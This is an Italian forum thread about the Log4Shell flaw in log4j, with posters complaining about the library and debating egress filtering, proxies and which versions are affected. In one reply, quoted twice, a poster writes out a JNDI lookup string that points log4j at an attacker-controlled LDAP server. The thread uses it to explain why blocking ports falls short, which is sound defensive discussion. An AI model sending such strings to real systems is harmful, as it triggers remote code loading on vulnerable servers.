Link alla notizia: https://www.hwupgrade.it/news/sicurezza-software/log4shell-e-la-nuova-falla-zeroday-ancora-piu-pericolosa-di-heartbleed-e-shellshock-ecco-perche_103165.html

E' una vulnerabilità che riguarda uno strumento open source di log utilizzato dalla gran parte delle applicazioni presenti sulla rete. E' facile da sfruttare e consente l'esecuzione di codice da remoto non autenticato

Click sul link per visualizzare la notizia.

log4j è realmente dappertutto... l'ho sempre odiato perché ho sempre pensato che sia un carrozzone pachidermico rispetto alla funzione che ricopre, ossia il semplice logging.. sto pensando agli amici che in questi giorni stanno facendo i salti mortali per aggiornare i prodotti. Che mazzata

Sempre odiato, e purtroppo ovunque in azienda...
Un carrozzone java per fare logging :muro:

Log4j e Log4cpp li ho sempre odiati visceralmente, quando non vengono utilizzati in maniera accorta (quasi sempre, specialmente i miei colleghi inglesi) rendono il codice un vero obbrobrio illeggibile, quando una libreria di logging dovrebbe essere il meno intrusiva possibile, sia a livello di performance (e li' ci siamo oggettivamente), che a livello di configurazione e di codice. Non riesco a capire perche' abbia tutto sto successo: motivi storici probabilmente.

Attenzione al fatto che hanno verificato la vulnerabilità solo delle versioni attualmente supportate.

Se si usa una versione precedente alla 2.0 è altamente probabile che vi sia la stessa vulnerabilità o una analoga.

I blackhat non credo si fermeranno a testare solo le versioni supportate visto quanto software di prodotti IoT non viene aggiornato, quindi occhio alla roba che resterà vulnerabile, valutare i rischi ed agite di conseguenza.

log4j è realmente dappertutto... l'ho sempre odiato perché ho sempre pensato che sia un carrozzone pachidermico rispetto alla funzione che ricopre, ossia il semplice logging..

"semplice" logging? Lavora un po' nell'enterprise e vedi poi cosa diventa, il logging :D

"semplice" logging? Lavora un po' nell'enterprise e vedi poi cosa diventa, il logging :D

Logging multilivello, multifile, firmato, etc etc Alla fine sempre logging è. Dopo averlo usato continuo a ritenere che sia un carrozzone enorme e inutile.

PS guarda come viene gestito con semplicità il logging in altri ambienti con complessità paragonabile :)

Log4j e Log4cpp li ho sempre odiati visceralmente, quando non vengono utilizzati in maniera accorta (quasi sempre, specialmente i miei colleghi inglesi) rendono il codice un vero obbrobrio illeggibile, quando una libreria di logging dovrebbe essere il meno intrusiva possibile, sia a livello di performance (e li' ci siamo oggettivamente), che a livello di configurazione e di codice. Non riesco a capire perche' abbia tutto sto successo: motivi storici probabilmente.Hai detto bene, il problema non è tanto log4j (che a suo tempo ha rappresentato una bella innovazione rispetto a quando si lasciava tutto nello stdout, senza senso...) ma come viene usato, e su questo c'è da dire che il 99% degli sviluppatori non ha la più pallida idea di come usarlo, lasciano tutto a default con una rotazione insensata e una retention ingestibile.

Ma questa vulnerabilità ahimè mette a nudo un'altra scemenza totale a livello di rete e architetturale, ovvero lasciare che le macchine facciano liberamente traffico in outbound o "navighino".
Basterebbe questo per rendere di fatto inoffensivi gran parte degli attacchi di questo genere; per carità non sarebbero sistemi "sicuri", ma quantomeno l'eventuale vulnerabilità non potrebbe portare gli effetti desiderati.

Ma questo perchè avviene?
In molti casi per scarsa competenza o esperienza (e qui torniamo al solito discorso, la gente che sa lavorare si trova, ma bisogna pagarla quanto merita...), in tanti altri per pigrizia, perchè implementare a livello di codice l'uso di un proxy http (dove applicare in modo semplice e flessibile specifiche ACL) costa fatica, anche se fosse solo un copy&paste da stackoverflow... :rolleyes:

Ah scusate quasi dimenticavo...
Aggiungiamo allo scenario di cui sopra anche la stramaledetta abitudine di non considerare (e quindi non pagare) la manutenzione e l'aggiornamento sw.
Perchè ovviamente (e questo vale tanto lato fornitore quanto committente) i costi vengono unicamente calcolati sullo sviluppo, poi una volta fatto il go-live chi s'è visto s'è visto, giusto giusto un po' di garanzia per i bug, ma tutto il resto passa in cavalleria... :rolleyes:

PS guarda come viene gestito con semplicità il logging in altri ambienti con complessità paragonabile :)A cosa ti riferisci?
Ti prego non dirmi Elasticsearch, Logstash, Graylog e altri sarchiaponi del genere :cry:

Ma questa vulnerabilità ahimè mette a nudo un'altra scemenza totale a livello di rete e architetturale, ovvero lasciare che le macchine facciano liberamente traffico in outbound o "navighino".
Basterebbe questo per rendere di fatto inoffensivi gran parte degli attacchi di questo genere; per carità non sarebbero sistemi "sicuri", ma quantomeno l'eventuale vulnerabilità non potrebbe portare gli effetti desiderati.

Ma questo perchè avviene?
In molti casi per scarsa competenza o esperienza (e qui torniamo al solito discorso, la gente che sa lavorare si trova, ma bisogna pagarla quanto merita...), in tanti altri per pigrizia, perchè implementare a livello di codice l'uso di un proxy http (dove applicare in modo semplice e flessibile specifiche ACL) costa fatica, anche se fosse solo un copy&paste da stackoverflow... :rolleyes:


Ciao,
non credo che il discorso sia così semplice: le vulnerabilità come questa possono tranquillamente essere veicolate su porte che vanno lasciate quasi sempre aperte (es: DNS, HTTPS, NTP, ecc). Per esempio, nessuno impedisce a un attore malevolo di mettere su un server LDAP su porta 443 e passare la log4j una stringa tipo "${jndi:ldap://example.com:443/a}"

Magari a livello proxy si riesce a fare qualcosa, ma la realtà (piaccia o meno...) è che i proxy sono sempre più in disuso, sostituiti dai firewall UTM che però sui protocolli criptati sono "ciechi" a meno che di rompere i tunnel SSL, cosa molto invasiva e anche molto discutibile.

Personalmente mi pare che l'unica soluzione sia quella di avere servizi e applicazioni con configurazioni "secure by default", dove è imperativo resistere alla smania di attivare tutto solo "perché è bello" o "perché potrebbe servire" o, ancora, semplicemente perché è di moda.

Log4j si trova dappertutto, anche come plugin di SQL Express e addirittura dentro software Java di gestione di TV/telecamere/proiettori... a che pro inserire una libreria del genere, tanto complessa, per loggare chi usa un televisore? E addirittura lasciando attiva la possibilità di lookup anonimi (altra follia)?

E' proprio la concezione di sviluppo software come la si vede in giro che mi preoccupa: spesso si segue una moda, caricando librerie a destra e a manca senza ragionare sul fatto che ogni feature in più aumenta la superficie di attacco. E quando si cerca di ragionare con lo sviluppatore, questo si sente aggredito solo perché gli si fa notare che usare mille software "bleeding edge" potrebbe non essere una buona idea, specie quando poi questi software verranno puntualmente abbandonati dallo stesso sviluppatore dopo il go-live...

Chiudo con una buona notizia (da qui: https://www.slf4j.org/log4shell.html)
"As log4j 1.x does NOT offer a JNDI look up mechanism at the message level, it does NOT suffer from CVE-2021-44228" (la versione 1.x soffre di un altro exploit simile, però più difficile da usare perché prevede la sovrascrittura di un file di configurazione).

Ciao,
non credo che il discorso sia così semplice: le vulnerabilità come questa possono tranquillamente essere veicolate su porte che vanno lasciate quasi sempre aperte (es: DNS, HTTPS, NTP, ecc). Per esempio, nessuno impedisce a un attore malevolo di mettere su un server LDAP su porta 443 e passare la log4j una stringa tipo "${jndi:ldap://example.com:443/a}"

Magari a livello proxy si riesce a fare qualcosa, ma la realtà (piaccia o meno...) è che i proxy sono sempre più in disuso, sostituiti dai firewall UTM che però sui protocolli criptati sono "ciechi" a meno che di rompere i tunnel SSL, cosa molto invasiva e anche molto discutibile.

Personalmente mi pare che l'unica soluzione sia quella di avere servizi e applicazioni con configurazioni "secure by default", dove è imperativo resistere alla smania di attivare tutto solo "perché è bello" o "perché potrebbe servire" o, ancora, semplicemente perché è di moda.

Log4j si trova dappertutto, anche come plugin di SQL Express e addirittura dentro software Java di gestione di TV/telecamere/proiettori... a che pro inserire una libreria del genere, tanto complessa, per loggare chi usa un televisore? E addirittura lasciando attiva la possibilità di lookup anonimi (altra follia)?

E' proprio la concezione di sviluppo software come la si vede in giro che mi preoccupa: spesso si segue una moda, caricando librerie a destra e a manca senza ragionare sul fatto che ogni feature in più aumenta la superficie di attacco. E quando si cerca di ragionare con lo sviluppatore, questo si sente aggredito solo perché gli si fa notare che usare mille software "bleeding edge" potrebbe non essere una buona idea, specie quando poi questi software verranno puntualmente abbandonati dallo stesso sviluppatore dopo il go-live...Concordo al 100% su quanto dici riguardo allo sviluppo.
La mia osservazione non voleva essere un'alternativa a tutto questo, ma solo una mitigazione agli effetti di uno sviluppo superficiale.

Sul traffico in outbound io onestamente sono molto più rigido, se sta a me decidere io non lasciarei aperto nulla in outbound.
Devi accedere a un servizio di terze parti? Lo fai tramite proxy (ormai di fatto si tratta di ws nel 100% dei casi, non esiste più nessuno che usa protocolli proprietari che non passino via http), ma come dicevo il proxy non deve essere configurato a livello di sistema operativo o direttamente nella configurazione dell'application server (o a livello di parametro della jvm, giusto per restare in tema java), ma la chiamata http tramite proxy deve essere implementata a livello di codice (chiaramente definendo in modo parametrico le variabili che permettono di usare il proxy).
In caso contrario salta tutto, se si sfrutta una vulnerabilità RCE e il processo vulnerabile ha già il suo bel proxy pronto all'uso non serve a nulla (o quasi).
Il resto come DNS e NTP imho va chiuso a prescindere, farsi un dns o un server ntp interno è questione di 5 minuti, alla peggio si mitiga aprendo a livello perimetrale solo verso gli ip specifico del dns o del server ntp che si vuole utilizzare.


Chiudo con una buona notizia (da qui: https://www.slf4j.org/log4shell.html)
"As log4j 1.x does NOT offer a JNDI look up mechanism at the message level, it does NOT suffer from CVE-2021-44228" (la versione 1.x soffre di un altro exploit simile, però più difficile da usare perché prevede la sovrascrittura di un file di configurazione).Grazie dell'aggiornamento :)

Sul traffico in outbound io onestamente sono molto più rigido, se sta a me decidere io non lasciarei aperto nulla in outbound.


Già, la penso allo stesso modo, solo che i clienti generalmente la vedono diversamente. E non hanno tutti i torti... con lo smartworking forzato degli ultimi due anni, chi aveva regole in uscita molto specifiche si è dovuto piegare ad aprire vasti range IP per i vari Teams/Meet/Zoom/ecc. Come avrai avuto modo di vedere anche tu, questi servizi poggiano interamente sui cloud di Microsoft/Amazon/Google e, dovendo aprire i loro range, si aprono anche una marea di server malevoli che girano allegramente su quegli stessi cloud (giusto recentemente ho tracciato un corposo range di Google Compute Engines da cui provenivano attacchi a un server Jira già compromesso da precedenti cryptominer).

Oggi comunque ho convito diversi clienti a chiudere quanto meno i protocolli LDAP, LDAPS e RMI. Chiaramente possono essere fatti girare su porte diverse da quelle standard; è solo per sfoltire un po' e guadagnare tempo per aggiornare gli applicativi.


Devi accedere a un servizio di terze parti? Lo fai tramite proxy (ormai di fatto si tratta di ws nel 100% dei casi, non esiste più nessuno che usa protocolli proprietari che non passino via http),


Per audio/video molti usano protocolli diversi dall'http (per esempio Google Meet ha un bel po' di porte da aprire, oppure pensa all'RTSP). Questi generalmente non girano proprio dietro proxy "classico" (cioè quello che possiamo impostare a livello di OS).


ma come dicevo il proxy non deve essere configurato a livello di sistema operativo o direttamente nella configurazione dell'application server (o a livello di parametro della jvm, giusto per restare in tema java), ma la chiamata http tramite proxy deve essere implementata a livello di codice (chiaramente definendo in modo parametrico le variabili che permettono di usare il proxy).
In caso contrario salta tutto, se si sfrutta una vulnerabilità RCE e il processo vulnerabile ha già il suo bel proxy pronto all'uso non serve a nulla (o quasi).


Certo, questa è un'ottima idea, ma se dobbiamo dipendere dagli sviluppatori stiamo freschi :stordita: :fagiano:
Considera anche che una RCE in grado di leggere la configurazione dell'applicativo (o avviare qualche tipo di debug dell'applicativo stesso) potrebbe tranquillamente fare il discovery del proxy e iniziare usarlo...


Il resto come DNS e NTP imho va chiuso a prescindere, farsi un dns o un server ntp interno è questione di 5 minuti, alla peggio si mitiga aprendo a livello perimetrale solo verso gli ip specifico del dns o del server ntp che si vuole utilizzare.


Vero, però è anche vero che spesso per svariati motivi può esserci bisogno di un server DNS o NTP raggiungibile. Chiaro che se poi si controlla al 100% la rete allora è un altro paio di maniche ;)


Grazie dell'aggiornamento :)

Di nulla figurati :)